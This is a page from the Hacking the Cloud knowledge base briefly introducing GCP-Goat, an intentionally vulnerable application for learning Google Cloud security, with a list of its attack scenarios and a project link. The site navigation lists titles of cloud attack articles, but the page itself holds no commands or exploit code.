class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4 checked> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Joshua Jebaraj</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/capture_the_flag/gcp-goat.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=gcp-goat>GCP Goat<a class=headerlink href=#gcp-goat title="Permanent link">&para;</a></h1> <p>GCP-Goat is the vulnerable application for learning the Google Cloud Security</p> <p>The Application consists of the following scenarios</p> <ul> <li>Attacking Compute Engine</li> <li>Attacking Sql Instance</li> <li>Attacking GKE</li> <li>Attacking GCS</li> <li>Privilege Escalation</li> <li>Privilege Escalation in Compute Engine</li> </ul> <p><a href=https://gcpgoat.joshuajebaraj.com/ >Project-Link</a> </p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 13, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">August 14, 2021</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 